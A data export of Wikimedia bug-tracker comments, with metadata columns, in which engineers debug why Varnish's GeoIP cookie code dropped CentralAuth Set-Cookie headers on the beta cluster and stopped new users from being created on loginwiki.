*** This bug has been marked as a duplicate of bug 62092 ***",,,1394058346,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_subcomment,,True,c3,1,True,,,-70,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.2142857142857144,0.7142857142857143,"Confirmed, that fixes it.  Marking duplicate.

*** This bug has been marked as a duplicate of bug 62092 ***"
290369,ApiRunJobs HTTP request and fallback both fail on Wikimedia Labs,"Try latest, the fallback should have been fixed",,,1394056701,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-r6akabtmbcy5rlrqwhp3,task_subcomment,,True,c3,1,True,,,-70,True,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.444444444444445,1.0,"Try latest, the fallback should have been fixed"
64244,New users not created on loginwiki in Labs,"Noticed this while digging into another bug. In beta, users are not created on loginwiki. So cross-project login isn't working.

The odd thing that I think is happening is that the browser isn't getting all of the cookies that the wiki is setting. Maybe a Varnish issue?

In the beta logs, I see the user is redirected to loginwiki:

0.1661   4.2M  Start request GET /wiki/Special:CentralLogin/start?token=b4bac89e539642795df51e425a974ffc
HTTP HEADERS:
HOST: login.wikimedia.beta.wmflabs.org

And then (as it should), loginwiki sets the user's cookies:

loginwiki-9c1ccc4f: 0.1995   8.8M  [cookie] setcookie: ""centralauth_Session"", ""aa2442f2d2e716dc89eb16d1f89f3cfe"", ""0"", ""/"", """", """", ""1""
loginwiki-9c1ccc4f: 0.2004   8.8M  [cookie] setcookie: ""centralauth_User"", ""TestBug16864'7"", ""1396574220"", ""/"", """", """", ""1""
loginwiki-9c1ccc4f: 0.2006   8.8M  [cookie] setcookie: ""centralauth_Token"", """", ""1393895820"", ""/"", """", """", ""1""


However, in my browser, the only Set-Cookie header is:

Set-Cookie	centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe; path=/; httponly; GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; path=/

When the AutoLogin code runs, loginwiki then has:


0.1973   4.2M  Start request GET /wiki/Special:CentralAutoLogin/refreshCookies?type=1x1&wikiid=enwiki&proto=http
HTTP HEADERS:
HOST: login.wikimedia.beta.wmflabs.org
USER-AGENT: Mozilla/5.0 (X11; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0
ACCEPT: image/png,image/*;q=0.8,*/*;q=0.5
ACCEPT-LANGUAGE: en-US,en;q=0.5
DNT: 1
REFERER: http://en.wikipedia.beta.wmflabs.org/w/index.php?title=Main_Page&gettingStartedReturn=true
COOKIE: GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe
X-VARNISH: 497335809, 1267638667
X-FORWARDED-FOR: 50.136.233.16, 127.0.0.1
ACCEPT-ENCODING: gzip
loginwiki-8577f040: 0.1980   4.2M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
loginwiki-8577f040: 0.2054   5.0M  LocalisationCache: using store LCStoreCDB
loginwiki-8577f040: 0.2084   5.5M  Fully initialised
loginwiki-8577f040: 0.2148   5.8M  CentralAuthHooks::onUserLoadFromSession: no User cookie, so unable to check for session mismatch


So no session because the centralauth_User cookie is missing.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=62001",Needs Triage,90.0,1393983720,1405453369.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-2odqxzvilpkedkhitxfr,task_description,resolved,True,c3,1,True,False,True,-70,True,0.2,0.0,0.2,0.4,0.6,2.6,0.2,0.2,0.0,0.0,1.0,0.4,0.0,0.2,0.0,1.2,0.0,2.8,3.0,0.0,0.2,0.2,0.2,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.6,0.2,0.0,0.0,0.0,0.0,0.2,0.4,0.4,0.0,0.0,1.4,0.0,0.0,0.4,0.0,0.0,12.0,0.0,0.4,0.0,0.4,0.2,0.0,0.0,0.0,0.2,0.0,0.0,0.6,0.0,0.0,0.2,0.0,0.0,2.2,1.8,17.0,1.0,0.2,3.2,0.0,0.0,0.0,0.0,0.4,0.0,6.4,0.0,0.8,3.0,13.0,0.2,8.4,0.0,0.8,0.0,0.4,0.2,0.0,1.6,0.0,0.2,2.2,4.2887886597938145,0.5652276632302405,"Noticed this while digging into another bug. In beta, users are not created on loginwiki. So cross-project login isn't working.

The odd thing that I think is happening is that the browser isn't getting all of the cookies that the wiki is setting. Maybe a Varnish issue?

In the beta logs, I see the user is redirected to loginwiki:

0.1661   4.2M  Start request GET /wiki/Special:CentralLogin/start?token=b4bac89e539642795df51e425a974ffc
HTTP HEADERS:
HOST: login.wikimedia.beta.wmflabs.org

And then (as it should), loginwiki sets the user's cookies:

loginwiki-9c1ccc4f: 0.1995   8.8M  [cookie] setcookie: ""centralauth_Session"", ""aa2442f2d2e716dc89eb16d1f89f3cfe"", ""0"", ""/"", """", """", ""1""
loginwiki-9c1ccc4f: 0.2004   8.8M  [cookie] setcookie: ""centralauth_User"", ""TestBug16864'7"", ""1396574220"", ""/"", """", """", ""1""
loginwiki-9c1ccc4f: 0.2006   8.8M  [cookie] setcookie: ""centralauth_Token"", """", ""1393895820"", ""/"", """", """", ""1""


However, in my browser, the only Set-Cookie header is:

Set-Cookie	centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe; path=/; httponly; GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; path=/

When the AutoLogin code runs, loginwiki then has:


0.1973   4.2M  Start request GET /wiki/Special:CentralAutoLogin/refreshCookies?type=1x1&wikiid=enwiki&proto=http
HTTP HEADERS:
HOST: login.wikimedia.beta.wmflabs.org
USER-AGENT: Mozilla/5.0 (X11; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0
ACCEPT: image/png,image/*;q=0.8,*/*;q=0.5
ACCEPT-LANGUAGE: en-US,en;q=0.5
DNT: 1
REFERER: URL
COOKIE: GeoIP=US:Santa_Clara:37.3541:-121.9552:v4; centralauth_Session=aa2442f2d2e716dc89eb16d1f89f3cfe
X-VARNISH: 497335809, 1267638667
X-FORWARDED-FOR: 50.136.233.16, 127.0.0.1
ACCEPT-ENCODING: gzip
loginwiki-8577f040: 0.1980   4.2M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
loginwiki-8577f040: 0.2054   5.0M  LocalisationCache: using store LCStoreCDB
loginwiki-8577f040: 0.2084   5.5M  Fully initialised
loginwiki-8577f040: 0.2148   5.8M  CentralAuthHooks::onUserLoadFromSession: no User cookie, so unable to check for session mismatch


So no session because the centralauth_User cookie is missing.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
288231,New users not created on loginwiki in Labs,"Probably, since it just came back to normal.",,,1405453369,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,20.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,"Probably, since it just came back to normal."
288225,New users not created on loginwiki in Labs,Gilles: Isn't that bug 63981?,,,1405452947,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Gilles: Isn't that bug 63981?
288220,New users not created on loginwiki in Labs,"The same symptoms have reappeared for the UploadWizard API test:

https://integration.wikimedia.org/ci/job/UploadWizard-api-commons.wikimedia.beta.wmflabs.org/389/console

Could be a different bug, but the last occurrence of this failure on that particular test led my to this bug.",,,1405445532,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-51,True,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,14.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.081081081081081,0.8648648648648649,"The same symptoms have reappeared for the UploadWizard API test:

URL

Could be a different bug, but the last occurrence of this failure on that particular test led my to this bug."
288215,New users not created on loginwiki in Labs,"Interesting, because we had an occurrence of bug 62288 with the commons api monitor, but it passed on re-run.",,,1394117968,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,21.0,12.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.7916666666666665,0.9583333333333334,"Interesting, because we had an occurrence of bug 62288 with the commons api monitor, but it passed on re-run."
288210,New users not created on loginwiki in Labs,"Confirmed that beta is once again giving out all the cookies for loginwiki, and so accounts are automatically attached on loginwiki on creation and SUL actually all works now. Thanks for all the help!",,,1394115125,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,3.0,5.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.513513513513513,0.8108108108108109,"Confirmed that beta is once again giving out all the cookies for loginwiki, and so accounts are automatically attached on loginwiki on creation and SUL actually all works now. Thanks for all the help!"
288205,New users not created on loginwiki in Labs,*** Bug 62288 has been marked as a duplicate of this bug. ***,,,1394113400,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 62288 has been marked as a duplicate of this bug. ***
288201,New users not created on loginwiki in Labs,"Zeljkof confirmed the QA job that had the issue is now passing the login step

 https://wmf.ci.cloudbees.com/job/MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-firefox/91/
 https://saucelabs.com/tests/1a52304399624b5a8a76243f32372e63

(Job still fails but for a different reason).


Thanks Chris Steipp for the shell script!",,,1394103581,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,20.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8,0.875,"Zeljkof confirmed the QA job that had the issue is now passing the login step

 URL
 URL

(Job still fails but for a different reason).


Thanks Chris Steipp for the shell script!"
288198,New users not created on loginwiki in Labs,"For completeness, copying from my postmortem:

What happens is, manipulation of the Set-Cookie header from VCL was
broken. Ori's code is:

    set_cookie_header = VRT_GetHdr(sp, HDR_RESP, ""\013set-cookie:"");
    if (set_cookie_header == NULL) {
            // New header
            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", cookie_out, vrt_magic_string_end);
    } else {
            // Append to existing header
            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", set_cookie_header, ""; "", cookie_out, vrt_magic_string_end);
    }

While this looks correct on a first glance, it makes you wonder what
would happen with multiple occurences of Set-Cookie. What happens is
exactly what you observe: VRT_GetHdr() returns only one of them and
VRT_SetHdr() sets all of them, essentially discarding all Set-Cookie
headers but one.

As for going forward: the std vmod has an std.collect() function to
collect multiple headers into one, but I don't believe this would work
with Set-Cookie. There's https://github.com/varnish/libvmod-header
that's designed exactly to address this use case -- its description is
""Varnish Module (vmod) for manipulation of duplicated headers (for
instance multiple set-cookie headers)"". We should probably use this
instead.",,,1394101768,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,3.3333333333333335,7.666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,5.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,9.333333333333334,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,11.666666666666666,0.6666666666666666,1.0,3.6666666666666665,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,7.666666666666667,9.0,0.0,3.3333333333333335,0.0,3.0,0.0,1.6666666666666667,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.0,0.6666666666666666,4.1226053639846745,0.6628352490421456,"For completeness, copying from my postmortem:

What happens is, manipulation of the Set-Cookie header from VCL was
broken. Ori's code is:

    set_cookie_header = VRT_GetHdr(sp, HDR_RESP, ""\013set-cookie:"");
    if (set_cookie_header == NULL) {
            // New header
            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", cookie_out, vrt_magic_string_end);
    } else {
            // Append to existing header
            VRT_SetHdr(sp, HDR_RESP, ""\013Set-Cookie:"", set_cookie_header, ""; "", cookie_out, vrt_magic_string_end);
    }

While this looks correct on a first glance, it makes you wonder what
would happen with multiple occurences of Set-Cookie. What happens is
exactly what you observe: VRT_GetHdr() returns only one of them and
VRT_SetHdr() sets all of them, essentially discarding all Set-Cookie
headers but one.

As for going forward: the std vmod has an std.collect() function to
collect multiple headers into one, but I don't believe this would work
with Set-Cookie. There's URL
that's designed exactly to address this use case -- its description is
""Varnish Module (vmod) for manipulation of duplicated headers (for
instance multiple set-cookie headers)"". We should probably use this
instead."
288194,New users not created on loginwiki in Labs,"Fixed by Faidon by disabling the cookie based geolocation on text varnish:  https://gerrit.wikimedia.org/r/#/c/117004/

The shell script pass and shows three Set-Cookie: headers now.",,,1394100254,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.066666666666666,0.9333333333333333,"Fixed by Faidon by disabling the cookie based geolocation on text varnish:  URL

The shell script pass and shows three Set-Cookie: headers now."
288189,New users not created on loginwiki in Labs,Apparently happens on production as well: bug 62288 'Random API issues',,,1394099551,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.9285714285714286,Apparently happens on production as well: bug 62288 'Random API issues'
288183,New users not created on loginwiki in Labs,"On deployment-cache-text1.pmtpa.wmflabs I edited /etc/varnish/text-frontend.inc.vcl and commented out the GeoIP snippet added by change 113935:

https://gerrit.wikimedia.org/r/#/c/113935/6/templates/varnish/text-frontend.inc.vcl.erb,unified ) 

Restarted varnish with:

 /etc/init.d/varnish restart ; /etc/init.d/varnish-frontend restart

I then ran Chris script and I received three cookies:


< Set-Cookie: centralauth_Session=3428f185da995eaaf9550ae54b4e634f; path=/; httponly
< Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:34:59 GMT; path=/; httponly
< Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
< Location: http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=ef3afb1dbc82549c1655b6841d8614ae
< Age: 0
< X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)
< Cache-Control: private, s-maxage=0, max-age=0, must-revalidate



I have no idea why it would work in production and not on labs though :(",,,1394098674,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,3.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,15.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,3.0,3.0,14.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,4.022820864790666,0.6043239533287577,"On deployment-cache-text1.pmtpa.wmflabs I edited /etc/varnish/text-frontend.inc.vcl and commented out the GeoIP snippet added by change 113935:

URL ) 

Restarted varnish with:

 /etc/init.d/varnish restart ; /etc/init.d/varnish-frontend restart

I then ran Chris script and I received three cookies:


< Set-Cookie: centralauth_Session=3428f185da995eaaf9550ae54b4e634f; path=/; httponly
< Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:34:59 GMT; path=/; httponly
< Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly
< Location: URL
< Age: 0
< X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)
< Cache-Control: private, s-maxage=0, max-age=0, must-revalidate



I have no idea why it would work in production and not on labs though :("
288175,New users not created on loginwiki in Labs,"Ori change ""Send GeoIP lookup result as 'GeoIP' cookie"" is https://gerrit.wikimedia.org/r/#/c/113935/",,,1394098186,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8,"Ori change ""Send GeoIP lookup result as 'GeoIP' cookie"" is URL"
288167,New users not created on loginwiki in Labs,"Running script script against Apache and Varnish have the following difference:

Apache:

 Cache-control: private, must-revalidate, max-age=0
 Set-Cookie: centralauth_Session=2f8f82190cd8c3a066aa5c8abca47699; path=/; httponly
 Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:09:28 GMT; path=/; httponly
 Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly

Varnish:

 Age: 0
 Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
 Set-Cookie: centralauth_Session=4dc3572e4bde7a617de112f22d3fa18a; path=/; httponly; GeoIP=FR::48.8600:2.3500:v4; path=/
 X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)",,,1394097304,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2odqxzvilpkedkhitxfr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,16.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,0.5,22.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,4.382105263157895,0.5363157894736843,"Running script script against Apache and Varnish have the following difference:

Apache:

 Cache-control: private, must-revalidate, max-age=0
 Set-Cookie: centralauth_Session=2f8f82190cd8c3a066aa5c8abca47699; path=/; httponly
 Set-Cookie: centralauth_User=TestBug16864; expires=Sat, 05-Apr-2014 09:09:28 GMT; path=/; httponly
 Set-Cookie: centralauth_Token=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; httponly

Varnish:

 Age: 0
 Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
 Set-Cookie: centralauth_Session=4dc3572e4bde7a617de112f22d3fa18a; path=/; httponly; GeoIP=FR::48.8600:2.3500:v4; path=/
 X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)"
288155,New users not created on loginwiki in Labs,"Created attachment 14753
login script for internal/external comparison

We definitely have an issue with the Caching. This script when run internally against the apache directly returns the correct Set-Cookie headers. When run externally, only the Session and GeoIP cookies are set.

Further, if you add a

-H 'Cookie: centralauth_Session=asdf; GeoIP=asdf'

to the final curl call, the correct cookies are returned. It doesn't matter what values they have, but when those 2 cookies are set, then all of the cookies come back through.

Since GeoIP is needed for the correct cookies to come back, I'll add ori in case this is related to the GeoIP cookie vcl.

